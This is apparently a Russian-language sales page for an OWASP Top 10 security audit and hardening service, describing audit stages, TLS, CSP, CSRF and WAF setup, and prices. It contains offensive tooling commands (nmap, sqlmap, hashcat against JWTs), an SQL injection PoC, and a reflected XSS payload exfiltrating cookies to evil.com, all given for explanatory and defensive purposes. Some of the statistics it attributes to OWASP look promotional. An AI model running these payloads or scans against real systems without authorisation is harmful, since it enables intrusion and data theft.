Представьте: ваше веб-приложение обрабатывает платежи, и злоумышленник через SQL-инъекцию получает доступ к базе данных клиентов. Последствия — утечка данных, репутационные потери, многомиллионные штрафы. Аудит безопасности по OWASP Top 10 — ваш щит. Мы выявляем уязвимости до того, как их найдут хакеры. Наши инженеры сертифицированы по CEH и OSWE, с опытом более 50 проектов. Гарантируем конфиденциальность и полноту проверки. Аудит включает автоматизированное сканирование и ручной анализ кода. Ручной анализ выявляет в 3 раза больше критических уязвимостей, чем автоматика. Стоимость исправления уязвимости на этапе эксплуатации в 10 раз выше, чем на этапе разработки. В среднем, каждый рубль, вложенный в аудит, экономит 5 рублей при ликвидации последствий атаки. Мы проверяем не только топ-10 OWASP, но и бизнес-логику, контейнеры, CI/CD. Полный аудит даёт уверенность в безопасности продакшна и защиту от репутационных рисков. Наши отчёты содержат конкретные PoC и рекомендации.
OWASP Top 10: что проверяем
| ID |
Категория |
Примеры |
| A01 |
Broken Access Control |
IDOR, privilege escalation |
| A02 |
Cryptographic Failures |
слабые алгоритмы, открытые данные |
| A03 |
Injection |
SQL, NoSQL, OS, LDAP |
| A04 |
Insecure Design |
отсутствие rate limit, предсказуемые токены |
| A05 |
Security Misconfiguration |
дефолтные пароли, verbose errors |
| A06 |
Vulnerable Components |
устаревшие зависимости с CVE |
| A07 |
Auth Failures |
слабые пароли, небезопасные сессии |
| A08 |
Software & Data Integrity |
insecure deserialization, CI/CD атаки |
| A09 |
Logging Failures |
недостаточное логирование |
| A10 |
SSRF |
запросы к внутренним ресурсам |
Процесс работы: 5 шагов
-
Разведка и картирование (3–5 дней) — инвентаризация входных точек приложения, сбор карты эндпоинтов, технологий и версий.
-
Автоматизированное сканирование (1–2 дня) — запуск сканеров для покрытия известных уязвимостей.
-
Ручной анализ (5–10 дней) — проверка бизнес-логики, IDOR, SSRF и других неавтоматизируемых векторов. Вручную тестируем каждый сценарий: negative amounts, перебор купонов, обход верификации. Это даёт полную картину безопасности.
- Составление отчёта (1–2 дня) — executive summary, технический отчёт с PoC, матрица рисков.
- Retesting (2–3 дня) — проверка исправлений по запросу.
Закажите аудит сегодня и защитите свой проект. Если вы хотите получить коммерческое предложение, свяжитесь с нами — мы подготовим оптимальный план аудита под ваш проект.
Этап 1: Разведка и картирование (3–5 дней)
Инвентаризация входных точек приложения. Мы собираем карту эндпоинтов, технологий и версий. Используем Burp Suite для проксирования трафика.
# Картирование поверхности атаки
nmap -sV -sC -p- target.example.com
ffuf -w /usr/share/wordlists/dirb/big.txt -u https://target.example.com/FUZZ -mc 200,301,302,403
katana -u https://target.example.com -jc -d 3
whatweb https://target.example.com
Этап 2: Автоматизированное сканирование (1–2 дня)
# Активное сканирование
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' https://target.example.com
nikto -h https://target.example.com -ssl -output report.html
nuclei -u https://target.example.com -t cves/ -t misconfigurations/ -severity critical,high,medium
semgrep --config=p/owasp-top-ten ./src
Как мы проверяем аутентификацию и авторизацию?
Проверяем IDOR, повышение привилегий и JWT-уязвимости.
# IDOR и JWT
curl -H "Authorization: Bearer {token}" https://target.com/api/users/{id}/profile
python jwt_tool.py -t <token> -T
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Инъекции и клиентские атаки (3–4 дня)
# SQLmap и XSS
sqlmap -u "https://target.com/search?q=test" --level=5 --risk=3 --dbs --batch
dalfox url "https://target.com/search?q=test" --output xss_report.txt
SSRF-проверки выполняем вручную: подставляем ссылки на внутренние ресурсы (AWS metadata, Redis, file://).
Анализ конфигурации (1–2 дня)
# TLS, заголовки, зависимости и секреты
testssl.sh --full https://target.example.com
sslyze --regular target.example.com
npm audit --audit-level=moderate
composer audit
gitleaks detect --source . --report-format json
Пример фрагмента отчёта
VULN-001: SQL Injection в поиске
Severity: Critical (CVSS 9.8)
Affected: GET /api/search?q=
CWE: CWE-89
Описание: Параметр q подставляется в SQL-запрос без параметризации.
PoC: GET /api/search?q=' OR '1'='1 → возвращает все записи.
Рекомендация: Использовать подготовленные запросы.
Почему важен анализ бизнес-логики?
Автоматизация не находит обход платежей, манипуляции с промокодами или race conditions. Мы вручную тестируем каждый сценарий: negative amounts, перебор купонов, обход верификации. Например, в интернет-магазине мы обнаружили, что можно изменять сумму корзины через модификацию JSON-запроса. Это позволило бы злоумышленнику получить товары по нулевой цене. Как отмечает официальная документация OWASP, ручное тестирование выявляет до 40% больше уязвимостей, чем автоматическое сканирование, а для бизнес-логики этот показатель достигает 5 раз.
Что входит в отчёт?
- Executive Summary для руководства (без технических деталей)
- Техническая часть с PoC для каждой уязвимости
- Матрица рисков (Severity × Likelihood)
- Дорожная карта исправлений с приоритетами
- Контрольный список OWASP Top 10 (статус каждого пункта)
Срок проведения аудита
| Тип приложения |
Срок |
| Лендинг / корпоративный сайт |
3–5 дней |
| SaaS с авторизацией |
7–14 дней |
| Финансовое приложение / маркетплейс |
14–21 день |
| После исправлений — retesting |
2–3 дня |
Мы провели более 50 аудитов для SaaS-продуктов. Закажите консультацию — оценим ваш проект и предложим оптимальный план. Узнайте, как защитить ваше веб-приложение от современных угроз: OWASP Top 10.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.